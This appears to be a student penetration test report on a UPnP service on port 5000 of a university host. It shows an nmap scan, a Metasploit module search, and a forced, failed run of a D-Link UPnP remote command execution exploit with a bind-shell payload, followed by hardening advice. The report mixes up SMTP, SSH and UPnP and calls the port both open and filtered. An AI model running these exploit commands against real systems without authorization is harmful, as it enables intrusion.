

Penetration Testing Report: SMTP Service Enumeration on Port 5000

Target: 10.137.0.149

Test Conducted By: MD SAMSUL KABIR

Date:21/09/2024

Test Scope: Authorized penetration testing on the port 5000.

Summary:

An assessment of the UPnP service running on port 5000 was conducted to identify potential vulnerabilities. Various scanning tools, including Nmap and Metasploit Framework, were utilized to enumerate services and attempt exploitation.

Findings:

Port: 5000/tcp

Service: UPnP

State: Filtered

First to check the open ports we use "nmap 10.137.0.149".

```
(hackme@hackme)-[~]
$ nmap 10.137.0.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 21:51 AEST
Nmap scan report for redback.it.deakin.edu.au (10.137.0.149)
Host is up (0.040s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
443/tcp   open  https
5000/tcp   open  upnp
5001/tcp   open  complex-link
5003/tcp   open  filemaker
8000/tcp   open  http-alt
8080/tcp   open  http-proxy
8888/tcp   open  sun-answerbook
9000/tcp   open  cslistener
9001/tcp   open  tor-orport
9200/tcp   open  wap-wsp
50000/tcp  open  ibm-db2

Nmap done: 1 IP address (1 host up) scanned in 10.25 seconds

(hackme@hackme)-[~]
$
```

Now to further investigate the SSH service to identify the version running on the target. we will use "nmap -sV -p 5000 10.137.0.149". This will help in determining whether there are any known vulnerabilities associated with that particular version.

Exploitation on msfconsole

```
msf6 > search upnp
```

Matching Modules				Disclosure Date	Rank
#	Name	Description			
0	exploit/linux/upnp/belkin_wemo_upnp_exec			2014-04-04	excellent
ent	Yes	Belkin Wemo UPnP Remote Code Execution			
1	_ target: Unix In-Memory		.	.	
2	_ target: Linux Dropper		.	.	
3	exploit/linux/upnp/dlink_dir859_subscribe_exec			2019-12-24	excellent
ent	No	D-Link DIR-859 Unauthenticated Remote Command Execution			
4	exploit/linux/http/dlink_upnp_exec_noauth			2013-07-05	normal
	Yes	D-Link Devices UPnP SOAP Command Execution			
5	_ target: MIPS Little Endian		.	.	
6	_ target: MIPS Big Endian		.	.	
7	exploit/linux/upnp/dlink_dir859_exec_ssdp.cgi			2019-12-24	excellent
ent	No	D-Link Devices Unauthenticated Remote Command Execution in ssdp.cgi			
8	exploit/linux/upnp/dlink_upnp_msearch_exec			2013-02-01	excellent
ent	Yes	D-Link Unauthenticated Remote Command Execution using UPnP via a special crafted M-SEA RCH packet.			
9	_ target: Unix Command		.	.	
10	_ target: Linux Dropper		.	.	
11	exploit/osx/mdns/upnp_location			2007-05-25	average
e	Yes	Mac OS X mDNSResponder UPnP Location Overflow			
12	_ target: 10.4.8 x86		.	.	

Scripts for upnp

```
msf6 > use exploit/linux/upnp/dlink_upnp_msearch_exec
[*] Using configured payload cmd/unix/bind_busybox_telnetd
msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > set RHOST 10.137.0.149
RHOST => 10.137.0.149
msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.137.0.149:1900 can be exploited.
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. Likely not a D-Link network device. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > set ForceExploit true
ForceExploit => true
msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.137.0.149:1900 can be exploited.
[!] The target is not exploitable. Likely not a D-Link network device. ForceExploit is enabled, proceeding with exploitation.
[*] Executing Unix Command for cmd/unix/bind_busybox_telnetd
[*] Started bind TCP handler against 10.137.0.149:4444
[*] Exploit completed, but no session was created.
msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > 
```

Exploit unsuccessful

Nmap scan indicated that the UPnP service is running on the target, but the port was filtered, preventing detailed examination of the service's version or configurations.

Exploit Attempts:

Various UPnP-related exploits were assessed, specifically targeting D-Link devices.

Attempts to exploit the D-Link UPnP Remote Command Execution vulnerability were made; however, the target was determined to be non-exploitable.

Exploit Details:

Used exploit: exploit/linux/upnp/dlink_upnp_msearch_exec

Despite enabling ForceExploit, no session was created, indicating the target does not meet the exploit's requirements.

Potential Risks

The inability to exploit the UPnP service suggests that while the service is exposed, it may not be configured in a vulnerable manner. However, the following risks remain:

Filtered Ports: The filtering on port 5000 may indicate security measures in place, but it could also lead to false security perceptions.

Misconfigurations: If misconfigurations exist within the UPnP service, they could be exploited in future assessments.

Exposure of UPnP Services: UPnP services are known for vulnerabilities, and the presence of such services on a network can increase the attack surface.

Recommendations

Service Hardening:

Disable UPnP if not needed, as it introduces unnecessary risks.

Regularly review and update service configurations to minimize potential vulnerabilities.

Network Segmentation:

Segment networks to limit exposure to UPnP services, ensuring that only trusted devices can access them.

Monitoring and Logging:

Implement monitoring for unusual activities on UPnP services and other network services.

Regularly review logs for any unauthorized access attempts or anomalies.

Regular Penetration Testing:

Conduct periodic penetration testing to identify new vulnerabilities or changes in the attack surface.

Conclusion

The assessment of the UPnP service on the target indicated potential exposure but no current vulnerabilities exploitable with the tested methods. Continuous monitoring, service hardening, and regular testing are recommended to maintain a secure environment.

